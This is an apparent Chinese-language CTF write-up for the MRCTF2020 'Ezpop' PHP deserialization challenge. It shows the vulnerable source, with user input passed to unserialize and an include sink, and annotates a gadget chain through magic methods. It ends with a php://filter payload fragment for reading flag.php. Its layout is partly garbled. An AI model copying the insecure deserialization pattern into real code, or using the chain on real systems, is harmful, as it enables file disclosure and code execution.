2021-01-29

[MRCTF2020]Ezpop


//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
                                  第一个类
    protected  $var;
    public function append($value){
   
        include($value);                       文件包含,显然是我们找flag的关键
    }
    public function __invoke(){
   
        $this->append($this->var);             调用_invoke()方法时,调用append函数
    }                                          而调用_invoke()方法的要求是以调用函数的方式调用一个对象,也就是Modifier对象
}

class Show{
                                       第二个类
    public $source;                            Show类里面有$source$str两个public类型的变量
    public $str;
    public function __construct($file='index.php'){
   
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; str里面的source变量,可以让str为一个类 } 而Test类里面没有source这个变量,如果令str=new Test(),就能调用_get()方法 public function __wakeup(){ 反序列化时调用,显然是要调用的 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; 正则匹配,就是当作字符串处理,会调用__toString() $this->source = "index.php"; 所以令source=一个类 } } } class Test{ public $p; Test类里面的$p变量 public function __construct(){ $this->p = array(); new Test(),$p为数组 } public function __get($key){ 调用_get()时,以函数的形式返回$p数组 $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; 调用_construct()方法 highlight_file(__FILE__); }

相关魔术方法

__construct()  当一个对象创建时被调用
__toString()  当一个对象被当作一个字符串使用
__wakeup()  将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()  获得一个类的成员变量时调用
         用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()  调用函数的方式调用一个对象时的回应方法

现在来分析一下流程

  1. 首先反序列化调用__wakeup()方法
  2. source=new Show()__wakeup()会调用__toString()
  3. $str=new Test()就会调用__get()方法
  4. p=new Modifier()就会调用__invoke(),然后命令执行

class Modifier {
   
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

你可能感兴趣的:(2021-01-29)